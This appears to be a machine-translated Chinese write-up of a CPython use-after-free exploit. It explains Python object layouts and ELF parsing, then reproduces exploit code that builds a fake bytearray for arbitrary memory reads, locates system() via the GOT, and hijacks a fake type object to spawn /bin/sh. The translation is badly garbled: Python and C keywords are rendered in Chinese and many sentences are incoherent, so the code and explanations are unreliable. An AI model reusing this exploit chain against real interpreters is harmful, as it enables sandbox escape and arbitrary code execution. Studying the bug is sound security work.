0x00简介

译文：在 Python 3 的每个版本中利用 Use-After-Free 来执行代码

5 月 16 日，腾讯玄武实验室公众号还需要学习一些每日发布的一些基础知识说明，因此个人漏洞知识的基础文章要理解这个基础，写了一些基础文章。

先该该漏洞可以引发执行，但需要一个漏洞调用，直接能够执行，直接可以执行本漏洞，所以作者也说了，利用os.system，所以在一些沙盘上的意义不大箱环境才需要利用该漏洞；但是通过其他方式去执行system('/bin/bash')是一件很有趣的事情，所以有兴趣的方式看看下吧。

该漏洞针对的是 CPython（C 语言编写的 Python.exe），需要了解 Python 对象在 C 中的形式，了解特殊表示的对象，并编写一个语言memoryview表达是针对 Linux 的 Python3（64 位），还需要了解ELF文件结构。

导读

1~3：基础知识，会的可直接跳过。

4：译文的内容解释，漏洞解释和EXP解释。

5：另一个漏洞利用思路。

0x01 Python对象

1.1 PyObject

Python中所有对象都是PyObject的子类，在C中没有类，因此都是结构体，结构体的头部都是PyObject，_PyObject_HEAD_EXTRA在release版本中是不存在的。

长的对象，另外定义了一个结构体PyVarObject，另外一个字段ob_，用于表示该对象的大小类型不同，但大小不同表示长度的类型则需要改变类型的对象类型。

//3.10.4 //包含\ object.h/* PyObject_HEAD 定义每个 PyObject 的初始段。*/ #define PyObject_HEAD PyObject ob_base;#define PyObject_VAR_HEAD PyVarObject ob_base;#define PyObject_HEAD_INIT(type) \     { _PyObject_EXTRA_INIT \     1, type },#define PyVarObject_HEAD_INIT(type, size) \ 


    
    { PyObject_HEAD_INIT(type) size },typedef  struct  _object  { 
    _PyObject_HEAD_EXTRA //该值release没有
    Py_ssize_t  ob_refcnt ; 
    PyTypeObject  * ob_type ; }  PyObject ;typedef  struct  { 
    PyObject  ob_base ; 
    Py_ssize_t  ob_size ;  /* 变量部分的项目数 */ }  PyVarObject ;

1.2 PyTypeObject

Python中类也是一个对象，在C语言中以一个PyTypeObject表示，所以每个Python对象通过type获取的都是一个PyTypeObject结构体数据。

tp_basicsize：表示的对象的基础数据的长度，可以理解为对象的头信息长度。

tp_itemsize：表示每个项目的长度，而项目的个数则在PyVarObject的ob_size，因为只有PyVarObject变长的。

PyTypeObject结构体中还包含了一些函数指针，比如获取和设置对象的属性，其实就是满足PyTypeObject结构体中的tp_getattr指向tp_setattr的函数。

//3.10.4//包含\ object.h typedef  struct  _typeobject  PyTypeObject ;//包含\ cpython \object.h struct  _typeobject  { 
    PyObject_VAR_HEAD 
    const  char  * tp_name ;  /* 用于打印，格式为 "." */ 
    Py_ssize_t  tp_basicsize ,  tp_itemsize ;  /* 用于分配 */
    /* 实现标准操作的方法 */
    析构函数 tp_dealloc ; 
    Py_ssize_t  tp_vectorcall_offset ; 
    getattrfunc  tp_getattr ; 
    setattrfunc  tp_setattr ; 
    


    
PyAsyncMethods  * tp_as_async ;  /* 以前称为 tp_compare (Python 2)                                    或 tp_reserved (Python 3) */ 
    reprfunc  tp_repr ;
    /* 标准类的方法套件 */
    PyNumberMethods  * tp_as_number ; 
    PySequenceMethods  * tp_as_sequence ; 
    PyMappingMethods  * tp_as_mapping ;
    /* 更多标准操作（这里是为了二进制兼容性） */
    hashfunc  tp_hash ; 
    ternaryfunc  tp_call ; 
    reprfunc  tp_str ; 
    getattrofunc  tp_getattro ; 
    setattrofunc  tp_setattro ;
    /* 作为输入/输出缓冲区访问对象的函数 */ 
    PyBufferProcs  * tp_as_buffer ;


    

    /* 用于定义可选/扩展功能存在的标志 */ 
    unsigned  long  tp_flags ;
    常量 字符 * tp_doc ;  /* 文档字符串 */
    /* 在 2.0 版中分配的含义 */ 
    /* 为所有可访问对象调用函数 */ 
    traverseproc  tp_traverse ;
    /* 删除对包含对象的引用 */ 
    inquiry  tp_clear ;
    /* 在 2.1 版中分配的含义 */ 
    /* 丰富的比较 */ 
    richcmpfunc  tp_richcompare ;
    /* 弱引用启动器 */ 
    Py_ssize_t  tp_weaklistoffset ;
    /* 迭代器 */ 
    getiterfunc  tp_iter ; 
    iternextfunc  tp_iternext ;
    /* 属性描述符和子类化的东西 */ 
    struct  PyMethodDef  * 


    
tp_methods ; 
    结构 PyMemberDef  * tp_members ; 
    结构 PyGetSetDef  * tp_getset ; 
    // 堆类型的强引用，静态类型的借用引用
    struct  _typeobject  * tp_base ; 
    PyObject  * tp_dict ; 
    descrgetfunc  tp_descr_get ; 
    descrsetfunc  tp_descr_set ; 
    Py_ssize_t  tp_dictoffset ; 
    initproc  tp_init ; 
    分配函数 tp_alloc ; 
    新函数tp_new  ; freefunc tp_free ; /* 低级空闲内存例程 */查询tp_is_gc ; /* 对于 PyObject_IS_GC */ 


    
PyObject * tp_bases ; PyObject * tp_mro ; /* 方法解析顺序 */ PyObject * tp_cache ; PyObject * tp_subclasses ; PyObject * tp_weaklist ; 析构函数tp_del ;
      
      
     
      
     
     
     
     
    /* 类型属性缓存版本标签。在 2.6 版中添加 */ 
    unsigned  int  tp_version_tag ;
    析构函数 tp_finalize ；
    vectorcallfunc  tp_vectorcall ; };

1.3 字节数组

bytearray虽然是变长，但数据字符串通过指针指向内存，实际数据存储在了ob_bytes中。

//3.10.4 //包含\cpython\ bytearrayobject.h typedef  struct  { 
    PyObject_VAR_HEAD 
    Py_ssize_t  ob_alloc ;    /* ob_bytes 中分配了多少字节 */ 
    


    
char  * ob_bytes ;         /* 物理后备缓冲区 */ 
    char  * ob_start ;         /* ob_bytes 内部的逻辑开始 */ 
    Py_ssize_t  ob_exports ;  /* 多少缓冲区导出 */ }  PyByteArrayObject ;

1.4 字节

bytes对象数据都是存储在PyBytesObject结构体中的，看来PyByteArrayObject结构体是通过指向的具体数据。

可知 1. 中，一个数据类型都存在一个字节，数据为\x00。

//3.10.4 //包含\cpython\ bytesobject.h typedef  struct  { 
    PyObject_VAR_HEAD 
    Py_hash_t  ob_shash ; 
    字符 ob_sval [ 1 ];
    /* 不变量：     * ob_sval 包含 'ob_size+1' 元素的空间。     * ob_sval[ob_size] == 0。     * ob_shash 是字节串的散列值，如果尚未计算，则为 -1。     */ 


    
}  PyBytesObject ;

1.5 清单

ob_item 理解是指针的指针，可以为指针，每个对象*都是一个指针。

//3.10.4 //Include\cpython\listobject.h typedef  struct  { 
    PyObject_VAR_HEAD 
    /* 指向列表元素的指针向量。list[0] 是 ob_item[0] 等 */ 
    PyObject  ** ob_item ;
    /* ob_item 包含“已分配”元素的空间。当前使用的数字     * 是 ob_size。     * 不变量：     * 0 <= ob_size <= 已分配     * len(list) == ob_size      * ob_item == NULL 意味着 ob_size == 已分配 == 0      * list.sort() 临时设置为 -1 以检测突变。     *      * 项通常不能为 NULL，除非在构建期间     * 列表在构建它的函数之外尚不可见。     */ 
    Py_ssize_t 已 分配；}  PyListObject ;

0x02 memoryview与id

2.1 内存视图

Python的内建类memoryview

可以理解为指针，官方的说明，正常使用只能字节指向或者数组对象的数据，是无法指向对象的。

class  memoryview ( object ) #创建一个引用object的memoryview。对象必须支持缓冲协议。支持缓冲区协议的内置对象包括字节和字节数组。

指向bytearray，就相当于PyByteArrayObject->ob_bytes；

指向bytes，就相当于PyBytesObject->ob_sval；

并且记录了一个具体的长度，无法越界。

v = memoryview ( b 'abcd' ) len ( v )  # 4 v [ 0 ]  #61 v = memoryview ( bytearray ( b '' )) len ( v )  # 4 


    
v [ 0 ]  #61

2.2 身份证

Python 中的 id 函数返回的值实际上是该对象在内存中的首地址。

官方文档：https://docs.python.org/3/library/functions.html#id

CPython 实现细节：这是对象在内存中的地址。

0x03 ELF文件

这里推荐一本书《程序员的自我修养》，ELF文件解析主要是该书以及elf.h文件。

因为Exp是针对64位的，所以介绍的结构体都是64位的。

3.1 文件头

结构体

//include\linux\elf.h typedef  struct  elf64_hdr  { 
  unsigned  char  e_ident [ 16 ];         /* ELF "幻数" */ 
  Elf64_Half  e_type ; 
  Elf64_Half  e_machine ; 
  Elf64_Word  e_version ; 
  Elf64_Addr  e_entry 


    
;        /* 入口点虚拟地址 */ 
  Elf64_Off  e_phoff ;         /* 程序头表文件偏移量 */ 
  Elf64_Off  e_shoff ;         /* 节头表文件偏移量 */ 
  Elf64_Word  e_flags ; 
  Elf64_Half  e_ehsize ;
  Elf64_Half  e_phentsize ; 
  Elf64_Half  e_phnum ; 
  Elf64_Half  e_shentsize ; 
  Elf64_Half  e_shnum ; 
  Elf64_Half  e_shstrndx ; }  Elf64_Ehdr ;

e_ident中可以判断出是32位还是64位程序，数据存储是大端还是小端。

• Elf64_Ehdr[0:4] = "\x7fELF"

• Elf64_Ehdr[4]：1表示32位，2表示64位

• Elf64_Ehdr[5]：1表示小端，2表示大端

e_type可以判断是否开启PIE。

• Elf64_Ehdr[0x10:0x12]：2表示电影开启PIE；3表示未开启PIE

获取程序头表的信息

• Elf64_Ehdr[0x20:0x28]：e_phoff，获取到偏移

• Elf64_Ehdr[0x36:0x38]：e_phentsize，程序头每双的大小

• Elf64_Ehdr[0x38:0x3A]：e_phnum，Program Header中包含的总数

获取Section Header Table的信息

• Elf64_Ehdr[0x28:0x30]：e_shoff，获取到偏移

• Elf64_Ehr[0x3A:0x3C]：e_shentsize，Section Header每双的大小

• Elf64_Ehdr[0x3C:0x3E]：e_shnum，Section Header中包含的总数

3.2 节目头表

主要是说明ELF文件映射到内存中的，可以通过命令readelf -l查看；程序属性表中的每一段称为Segment，是多个Section的合集，相同的Section放于Segment，用于结构体如下：

//include\linux\elf.h typedef  struct  elf64_phdr  { 
  Elf64_Word  p_type ; 
  Elf64_Word  p_flags ; 
  Elf64_Off  p_offset ;        /* 段文件偏移量 */ 
  Elf64_Addr  p_vaddr ;        /* 段虚拟地址 */ 
  Elf64_Addr  p_paddr ;        /* 段物理地址 */ 
  Elf64_Xword  


    
p_filesz ;      /* 文件中的段大小 */ 
  Elf64_Xword  p_memsz ;       /* 内存中的段大小 */ 
  Elf64_Xword  p_align ;       /* 段对齐、文件和内存 */ }  Elf64_Phdr;

Elf64_Phdr[0:4]：p_type

占4个字节，不同类型的值参考于010编辑器的模板，只会到内存的LOAD类型，PT_DYNAMIC会地址显示动态在内存中的加载。

PT_NULL      = 0 , PT_LOAD      = 1 , PT_DYNAMIC   = 2 , PT_INEP     = 3 , PT_NOTE      = 4 , PT_SHLIB     = 5 , 


    
PT_PHDR      = 6 , PT_LOOS      = 0x60000000 , PT_HIOS      = 0x6fffffff , PT_LOPROC    = 0x700000x00fff = _ _    _

Elf64_Phdr[0x10:0x18]：p_vaddr

占字节，地址段的virtual address，即内存，若开启PIE，相对虚拟基地址的偏移。8

Elf64_Phdr[0x30:0x38]：p_align

占字节，段的属性，用于表示在内存中的单位，一般是80x1000。

3.3.动态

保存了动态链接器所需要的基本信息。

typedef  struct  { 
  Elf64_Sxword  d_tag ;        /* 入口标签值 */ 
  union  { 
    Elf64_Xword  d_val ; 
    Elf64_Addr  


    
d_ptr ; 
  }  d_un ; }  Elf64_Dyn ;

d_tag：明确值的类型。

/* 这是解析文件动态部分所需的信息 */ #define DT_NULL 0 #define DT_NEEDED 1 #define DT_PLTRELSZ 2 #define DT_PLTGOT 3 #define DT_HASH 4 #define DT_STRTAB 5 #define DT_SYMTAB 6 #define DT_RELA 7 #define DT_RELASZ 8 #define DT_RELAENT 9 #define DT_STRSZ 10 #define DT_SYMENT 11 #define DT_INIT 12 #define DT_FINI 13 #define DT_SONAME 14 #define DT_RPATH 15 #define DT_SYMBOLIC 16 #define DT_REL 17 # 9 #define DT_RELENTZ 18定义 DT_PLTREL 20 #define DT_DEBUG 21#define DT_TEXTREL 22 #define DT_JMPREL 23 #define DT_LOPROC 0x70000000 #define DT_HIPROC 0x7fffffff #define DT_MIPS_RLD_VERSION 0x70000001 #define DT_MIPS_TIME_STAMP 0x70000002 


    
#define DT_MIPS_ICHECKSUM 0x70000003 #define DT_MIPS_IVERSION 0x70000004 #define DT_MIPS_FLAGS 0x70000005 
  #define RHF_NONE 0 
  #define RHF_HARDWAY 1 
  #define RHF_NOTPOT 2 #define DT_MIPS_BASE_ADDRESS 0x70000006 #define DT_MIPS_CONFLICT 0x70000008 #define DT_MIPS_LIBLIST 0x70000009 #define DT_MIPS_LOCAL_GOTNO 0x7000000a #define DT_MIPS_CONFLICTNO 0x700001BL00b #define DT_MIPS_LIBLIST000#define DT_MIPS_SYMTABNO 0x70000011 #define DT_MIPS_UNREFEXTNO 0x70000012 #define DT_MIPS_GOTSYM 0x70000013 #define DT_MIPS_HIPAGENO 0x70000014 #define DT_MIPS_RLD_MAP 0x70000016//其他#define DT_INIT_ARRAY 0x19 #define DT_INIT_ARRAYSZ 0x1b #define DT_FINI_ARRAY 0x1a #define DT_FINI_ARRAYSZ 0x1c

部分类型的解释，参考《程序员的自我修养》

3.4 重定位表

重表定位是有，在看段表的时候，是会看到.rel和.rela的重定位，分别对应的情节结构体有不同。（PS：段表是Section Header Table，但由于是Section Header Table，但由于不加载到内存中，所以就未作详细说明）

typedef  struct  elf64_rel  { 
  Elf64_Addr  r_offset ;   /* 应用动作的位置 */ 
  Elf64_Xword  r_info ;    /* 重定位的索引和类型 */ }  Elf64_Rel ;typedef  struct  elf64_rela  { 
  Elf64_Addr  r_offset ;   /* 应用动作的位置 */ 
  Elf64_Xword  r_info ;    /* 重定位的索引和类型 */ 
  Elf64_Sxword  r_addend ;     /* 用于计算值的常量加数 */ }  Elf64_Rela ;

r_offset：占8个字节，重定位的地址。

r_info：占8字节，最低位字节4用于表示类型，高位字节表示的值。4

Exp中关注的重定位表是.rela.plt(.dynamic中的DT_JMPREL所指)，表示表中r_info_type的类型都是R_X86_64_JUMP_SLO，对应的7，而r_info_value是重定位的符号在符号表中中的索引，.rela.plt相关的符号表是.dynsym(.dynamic中的DT_SYMTAB所指)。

3.5 符号表

符号表每个有一个，符号表的代表第一个符号（索引为0）一般为典型项。结构如下：

typedef  struct  elf64_sym  { 
  Elf64_Word  st_name ;        /* 符号名称，字符串 tbl 中的索引 */ 
  unsigned  char  st_info ;     /* 类型和绑定属性 */ 
  unsigned  char  st_other ;    /* 没有定义的含义，0 */ 
  Elf64_Half  st_shndx ;       /* 相关节索引 */ 
  Elf64_Addr  st_value ;       /* 符号的值 */ 
  Elf64_Xword  st_size ;       /* 相关符号大小 */ }  Elf64_Sym ;

Elf64_Sym[0:4]：st_name

4个字节，表示符号名称字符串描述在字符串表的偏移量，但具体是哪个字符串表项则需要看自己所在段的描述段表的sh_link（表示引用的字符串表段表）段表中的索引）。

Exp关注的符号表是.dynsym，它所关联的字符串表是.dynstr(.dynamic中的DT_STRTAB所指)。

0x04 漏洞与Exp

4.1 起因

译文作者是关注到了一个问题：memoryview to freeed memory会导致segfault。

看一下POC

导入 ioclass  File ( io . RawIOBase ): 
    def  readinto ( self ,  buf ): 
        global  view 
        view  =  buf 
    def  readable ( self ): 
        return  Truef  =  io 。BufferedReader （文件


    
（））f 。read ( 1 )                        # 获取 BufferedReader 使用的缓冲区的视图del  f                            # deallocate buffer view  =  view . cast ( 'P' ) L  =  [ None ]  *  len ( view )           # 创建数组大小相同的列表
                                #（这可能与 view 一致）view [ 0 ]  =  0                      # 用 NULL 覆盖第一项print ( L [ 0 ])                      


    
# segfault: 取消引用 NULL

4.1.1 获取memoryview

POC 中不同的官方变量观点的类型是memoryview，至于原因，我勉励我与文档注释一下，并且就一眼，我并不完全正确。

调用f.read(1)到自定义类的方法，并调用调用调用内存的方法。

首先根据官方文档https://docs.python.org/3/library/io.html#io.BufferedReader，知道BufferedReader继承于BufferedIOBase。

调用链：

1. BufferedIOBase 的读取方法：_io__Buffered_read_impl，内部调用_bufferedreader_read_generic

2. _bufferedreader_read_generic内部会调用_bufferedreader_raw_read

3. _bufferedreader_raw_read会使用PyMemoryView_FromBuffer创建memoryview对象，然后通过PyObject_CallMethodOneArg(self->raw, _PyIO_str_readinto, memobj)调用内部子类的readinto方法。

源代码版本3.10.4，保留了调用链部分代码，完整代码可根据第一行注释的路径查看源码。

//模块\_io\bufferedio.c/*[clinic input] _io._Buffered.read     size as n: Py_ssize_t(accept={int, NoneType}) = -1     / [clinic start generated code]*/ static  PyObject  * _io__Buffered_read_impl ( buffered  * self 


    
,  Py_ssize_t  n ) / *[诊所结束生成代码：output=f41c78bb15b9bbe9 input=7df81e82e08a68a2]*/ { 
    ...... 
        res  =  _bufferedreader_read_generic ( self ,  n ); 
    …… }/* 通用读取函数：从流中读取，直到读取到足够的字节，* 或直到发生 EOF 或直到 read() 阻塞。*/静态 PyObject  * _bufferedreader_read_generic (缓冲 * self ,  Py_ssize_t  n ) { 
   ...... 
        r  =  _bufferedreader_raw_read ( self ,  out  +  written ,  


    
r ); 
    …… }静态 Py_ssize_t _bufferedreader_raw_read (缓冲 * self ,  char  * start ,  Py_ssize_t  len ) { 
    ...... 
    memobj  =  PyMemoryView_FromBuffer ( & buf ); 
    if  ( memobj  ==  NULL )
        返回 - 1 ; 
    /* 注意：当 EINTR 发生时 PyErr_SetFromErrno() 调用 PyErr_CheckSignals()       所以我们不需要自己做。       然后我们重试读取，如果没有处理程序       引发则忽略信号（参见问题 #10956）。    */ 
    


    
do  { 
        res  =  PyObject_CallMethodOneArg ( self -> raw ,  _PyIO_str_readinto ,  memobj ); 
    }  while  ( res  ==  NULL  &&  _PyIO_trap_eintr ()); 
    …… }

4.1.2 对象释放

del f零个对象释放对象，那么查看指向的对象就释放了；无法通过代码创建一个内存对象去引用一个字节，删除后指向的对象并不会释放内存，因为计数未清。

4.1.3 重新申请同样大小的内存

view = view.cast('P')因此，将视图内的数据为指针，因为需要根据视图来申请新的1.5 list对象项目，主要是分析，POC 将根据需要考虑的情况，首先将视图的内容视图的数据类型转换为依赖，再根据视图的创建列表对象，也就是L = [None] * len(view)。

此时查看存储的就是PyObject*，都是指向的对象，然后通过将第一个指针指向0，再获取导入报告。

也可以通过id来获取其他对象的地址，其实是修改了PyObject*，当然也可以给view[0]，这样可以列表L的成员了，比如：

视图[ 0 ]  


    
=  id ( 'a' )打印( L [ 0 ])  #a

4.2 漏洞利用

4.2.1 投资成就

利用漏洞可以让memoryview对象指向一个PyObject*[]，利用id函数不同的对象，再利用list对象L[n]来使用对象。

这里就重新获得了，结构体是对象的存在指针和对象，并且只在中ob_byte的位置想要读取的内存位置，再设置_arrayview[0] = id(bytearray)，那么L[ 0]就可以作为ByteArray对象读取字节数据地址了，比如L[0][0:8]读取的前8字节。

typedef 结构 { 
    PyObject_VAR_HEAD 
    Py_ssize_t  ob_alloc ;    /* ob_bytes 中分配了多少字节 */ 
    char  * ob_bytes ;         /* 物理后备缓冲区 */ 
    char  * ob_start ;         /* ob_bytes 内部的逻辑开始 */ 
    Py_ssize_t  ob_exports ;  /* 多少缓冲区导出 */ } 


    
 PyByteArrayObject ;

作者的就是修改和ob_start，问题给出的答案现在是PyByteArrayObject对象的一个字节类型，因为字节的字节的对象就是如何存储在的PyBytesObject，通过id获取Py字节的首地址中，然后再上固定量，可以指向ob_sval，ob_sval的值是我们可以控制的。

typedef  struct  { 
    PyObject_VAR_HEAD 
    Py_hash_t  ob_shash ; 
    字符 ob_sval [ 1 ]; }  PyBytesObject ;

最终效果变成（作者的exp代码）

io  = 打开。__self__ def  uN ( b ): 
    out  =  0 
    for  i  in  range ( len ( 


    
b )): 
        out  |=  ( b [ i ]  &  0xff )  <<  i * 8 
    return  outdef  u64 ( x ):
    断言 len ( x )  ==  8
    返回 uN ( x )def  u32 ( x ):
    断言 len ( x 


    
)  ==  4
    返回 uN ( x )def  u16 ( x ):
    断言 len ( x )  ==  2
    返回 uN ( x )def  p64 ( x ): 
    s  =  bytearray ()
    而 x  >  0 : 
        s 。附加( x  & 


    
 0xff ) 
        x  >>=  8
    返回 s 。ljust ( 8 ,  b ' \0 ' )def  flat ( * args ): 
    return  b '' 。加入（参数）类 文件( io . _RawIOBase ): 
    def  readinto ( self ,  buf ):



    
        全局 视图
        view  =  buf 
    def  readable ( self ): 
        return  True 漏洞利用类：
    def  _create_fake_byte_array ( self ,  addr ,  size ): 
        byte_array_obj  =  flat ( 
            p64 ( 10 ),             # refcount 
            p64 ( id ( bytearray )),  # type obj 
            p64 ( size ),           


    
# ob_size 
            p64 ( size ),           # ob_alloc 
            p64 ( addr ),           #ob_bytes 
            p64 ( addr ),           #ob_start 
            p64 (0x0 ),            # ob_exports 
        )
        自我。no_gc 。append ( byte_array_obj ) # 在 return   self后停止 gc 释放
        。释放缓冲区[ 0 ] = id ( byte_array_obj ) + 32    
    def 泄漏（自我


    
， 地址， 长度）：
        自我。_create_fake_byte_array （地址， 长度）
        返回 自我。fake_objs [ 0 ] [ 0 :长度]
    def  __init__ ( self ): 
        # 触发 bug
        全局 视图
        f  =  io . BufferedReader （文件（））
        f 。阅读( 1 


    
) 
        del  f
        视图 = 视图。演员表（'P' ）
        自我。fake_objs  =  [无]  *  len （视图）
        自我。freed_buffer  = 查看
        自我。no_gc  =  []

在利用函数中获取视图对象，存储为，初始化内存请求的列表对象，其数据内存空间由释放缓冲区指向。freed_bufferfake_objs

4.2.2 寻找系统函数地址

先说一下思路，主要是解析ELF文件，根据.dynamic中的信息去读取.got.plt['system']的值，读取内存的方法都是利用的4.2.1内存泄露。

1. PyTypeObject 函数的地址，文件头的地址。根据该段的地址，该段的地址，文本段的地址和每个 ELF 的地址；

2. 可见页面的首页地址（一般是0x1000指向），找到低地址处，找到ELF文件头魔\x7fELF，因为此时文件头的位置是加载在页的首地址的，并且此页的首地址是程序的加载地址；

3. 解析ELF文件头，根据e_type的值判断是否开启PIE。

4. 解析文件头，获取PHT的首地址，PHT的个数，PHT每项的大小，如果依次进行，找到PIp_type的PT_DYNAMIC(2)，获取到.dynamic的内存地址，，，获取到.dynamic的内存地址，到的内存地址需要加上第2步获取到的程序地址；

5. 遍历.dynamic段，获取到重定位表(DT_JMPREL:23)，符号表(DT_SYMTAB:6)，字符串表(DT_STRTAB:5)，这里获取到的地址是绝对地址，即使开启了PIE，也已经已经重定位好了。

6. 遍历重定位表，根据r_info的高4位在符号表中获取的索引，因为.dynamic中指向的重定位表的R_X86_64_JUMP_SLO；再根据符号表中st_name的找到去读取字符串表，名称那么此时的r_offset值就是.got.plt['system']，PS：作者的exp中根据“重定位系统”的地址。got.plt表中的相应偏移，）

说明一下，第 6 步和作者的解释思路有点不同，不同点如下：

• 说明中根据重表的偏移量去读取的。得到表中的相应偏移量，我认为这重定位的定位偏移量了，作者不知道偏移量的原因我不是；

• 没有完全开始信任值.got.plt['system']的作者，但是如果存在PLT，则还去寻找桩桩，ELF的绑定，.got.plt['system']一存储的就是PLT桩代码，这一点作者不信任.got.plt['system']的原因我也不知道；

我认为我的想法没有问题，因此专门编写了作者查找系统地址的说明

PAGE_SIZE  =  4096 SIZEOF_ELF64_SYM  =  24class  Exploit : 
    def  find_bin_base ( self ): 
        # Leak tp_dealloc 指向 Python 
        # 二进制文件的 PyLong_Type 指针。
        泄漏 = 自我。


    
leak ( id ( int ),  32 ) 
        cpython_binary_ptr  =  u64 ( leak [ 24 : 32 ]) 
        addr  =  ( cpython_binary_ptr  >>  12 )  <<  12   # 页面对齐地址
        # 在页面中向后工作，直到找到二进制文件的开头
        对于 范围内的i  ( 10000 )：nxt = self 。泄漏( addr , 4 )如果nxt == b ' \x7f 


    
ELF' : return addr addr -= PAGE_SIZE return None 
               
               
                 
              
         
    def  find_system ( self ): 
        """        返回系统 PLT 存根的地址，或者        如果二进制文件已满 RELRO，则返回系统本身的地址。        """ 
        bin_base  =  self 。find_bin_base ()
        数据 = 自我。泄漏( bin_base ,  0x1000 )
        # 解析 ELF 头
        type  =  u16 ( data [ 0x10 : 0x12 ]) 
        is_pie 


    
 =  type  ==  3 
        phoff  =  u64 ( data [ 0x20 : 0x28 ]) 
        phentsize  =  u16 ( data [ 0x36 : 0x38 ]) 
        phnum  =  u16 ( data [ 0x38 : 0x3a ])
        # Find .dynamic section 
        dynamic  =  None 
        for  i  in  range ( phnum 


    
): 
            hdr_off  =  phoff  +  phentsize * i 
            hdr  =  data [ hdr_off : hdr_off  +  phentsize ] 
            p_type  =  u32 ( hdr [ 0x0 : 0x4 ]) 
            p_vaddr  =  u64 ( hdr [ 0x10 : 0x18 ])
            如果 p_type  ==  2:   # PT_DYNAMIC
                动态 = 


    
 p_vaddr
        如果 动态 是 无：
            打印（“[!!] 找不到 PT_DYNAMIC 部分” ）
            返回 无
        if  is_pie :
            动态 +=  bin_base
        print ( '[*] .dynamic: {}' . format ( hex ( dynamic ))) 
        dynamic_data  =  e . 泄漏（动态， 500 ）
        # 解析 Elf64_Dyn 条目，提取我们需要的内容
        i  =  0 
        symtab 


    
 =  None 
        strtab  =  None 
        rela = None while True : d_tag  = u64 ( dynamic_data [ i * 16 : i * 16 + 8 ]) d_un = u64 ( dynamic_data [ i * 16 + 8 : i * 16 + 16 ])如果d_tag 
         
                
                  
              ==  0  and  d_un  ==  0 : 
                break 
            elif  d_tag 


    
 ==  5 :     # DT_STRTAB 
                strtab  =  d_un 
            elif  d_tag  ==  6 :     # DT_SYMTAB 
                symtab  =  d_un 
            elif  d_tag  ==  23 :    # DT_JMPREL rela 
                =  d_un  i 
            +  =  1
        如果 strtab 为 None 或 symtab为None或rela 为 None ：print ( "[!!] Missing required info in .dynamic" )返回None    
            
             


    

        print ( '[*] DT_SYMTAB: {}' . format ( hex ( symtab ))) 
        print ( '[*] DT_STRTAB: {}' . format ( hex ( strtab ))) 
        print ( '[*] DT_RELA: {} ' .格式（十六进制（相对）））
        # 遍历重定位表，对于每个条目，我们读取相关的 symtab 
        # 条目，然后读取 strtab 条目以获取函数名称。
        rela_data  =  e 。泄漏( rela ,  0x1000 ) 
        i  = 


    
 0
        而 True : 
            off  =  i  *  24 
            r_info  =  u64 ( rela_data [ off  +  8 : off  +  16 ]) 
            symtab_idx  =  r_info  >>  32   # ELF64_R_SYM 
            symtab_entry  =  e. 泄漏( symtab  +  symtab_idx  *  SIZEOF_ELF64_SYM ,  SIZEOF_ELF64_SYM ) 
            strtab_off  = 


    
 u32 ( symtab_entry [ 0 : 4 ])名称= e 。泄漏( strtab + strtab_off , 6 ) if name == b 'system' : print ( '[*] Found system at rela index {}' .format ( i )) system_got = u64
                 
               
                
                  ( rela_data [ off : off  +  8 ])
                中断
            i  +=  1
        func  =  u64 ( self.leak 


    
( system_got , 8 ) ) print ( '[*] system : {}' . format ( hex ( func ))) return func 
        
         e  =  Exploit ()系统 =  e 。查找系统（）

4.2.3 执行函数

当函数系统的流程呢，然后是什么类型的，这里可以选择对象类型的对象，然后是对象的类型，类对象有函数地址，描述覆盖为系统函数，tp_getattr比如，然后执行obj.aaa，就去执行tp_getattr指向的函数了。

还有一个需要解决的是传参问题，Python在调用对象方法时，第一个参数是对象本身，是一个PyObject作者，利用这个点，将obj->ob_refcnt的值设置为"/bin/sh" ，这样的第一个参数就相当于是char传递给系统了，在64位下，ob_refcnt的长度是8，而/bin/sh\x00长度也是8，不然就超过了obj->ob_type的值了（PS：会在第一个调用对象方法时，也会有第一个obj-> \x2eob_ref）

作者的解释

class  Exploit : 
    def  set_rip ( 


    
self ,  addr ,  obj_refcount = 0x10 ): 
        """使用假对象和关联类型对象设置 rip。""" 
        # 假类型对象
        type_obj  =  flat ( 
            p64 ( 0xac1dc0de ),     # refcount 
            b ' X' * 0x68 ,           #padding 
            p64 ( addr ) * 100 ,       #vtable funcs 
        ) 
        self . no_gc 。附加(类型_obj )
        # Fake PyObject 
        data  


    
=  flat ( 
            p64 ( obj_refcount ),   #refcount 
            p64 ( id ( type_obj )), #point to fake type object ) self . no_gc 。追加（数据）  
        
        
        
        # 字节数据从对象self中的偏移量 32 开始。freed_buffer [ 0 ]  =  id (数据)  +  32
        try : 
            # 现在我们触发它。
            这会在我们的假类型对象self上调用 tp_getattro 。fake_objs [ 0 


    
] 。trigger 
        except : 
            # 当我们退出 shell 
            pass时避免混乱的错误输出e . set_rip (系统,  obj_refcount = u64 ( b ' \x2e bin/sh \x00 ' ))

4.3 彩蛋

UAF漏洞是需要io.RawIOBase，因此需要io模块，但作者没有使用import，而是用io=open.__self__替代方案。

打开。self的 io 模块其实是_io，这个是 Python 组装的模块，而import io导入的 io 模块是PYTHON_HOME\lib\io.py，io 就是对_io模块的 Base 封装，io.RawIO 就是_io.RawIOBase 的这个封装了。

为什么open.__self__就是_io模块呢，这就是本篇彩蛋的内容了。

打开是PyCFunctionObject 结构体对象。

_io是PyModuleObject结构体对象。

4.3.1自我是什么

可知源，可以知道自己是PyCFunctionObject的m_self，但是这个值来了呢，需要一下子_io的初始化。

//3.10.4 //包含\cpython\ methodobject.h typedef  struct  { 
    PyObject_HEAD 
    PyMethodDef  * m_ml ;  /* 要调用的 C 函数的描述 */ 
    PyObject     * m_self ;  /* 作为 'self' 参数传递给 C 函数，可以是 NULL */ 
    PyObject     * m_module ;  /* __module__ 属性，可以是任何东西 */ 
    PyObject     * m_weakreflist ;  /* 弱引用列表 */ 
    vectorcallfunc  vectorcall ; 


    
}  PyCFunctionObject ;#define PyCFunction_GET_SELF(func) \         (((PyCFunctionObject *)func) -> m_ml -> ml_flags & METH_STATIC ? \          NULL : ((PyCFunctionObject *)func) -> m_self)//Objects\methodobject.c static  PyObject  * meth_get__self__ ( PyCFunctionObject  * m ,  void  * closure ) { 
    PyObject  * self ;
    自我 =  PyCFunction_GET_SELF ( m ); 
    if  ( self  ==  NULL ) 
        self  =  Py_None ; 
    Py_INCREF （


    
自我）；
    返回 自我；}静态 PyGetSetDef  meth_getsets  []  =  { 
    { "__doc__" ,   ( getter ) meth_get__doc__ ,   NULL ,  NULL }, 
    { "__name__" ,  ( getter ) meth_get__name__ ,  NULL ,  NULL }, 
    { "__qualname__" ,  ( getter ) meth_get__qualname__ ,  NULL 


    
,  NULL }, 
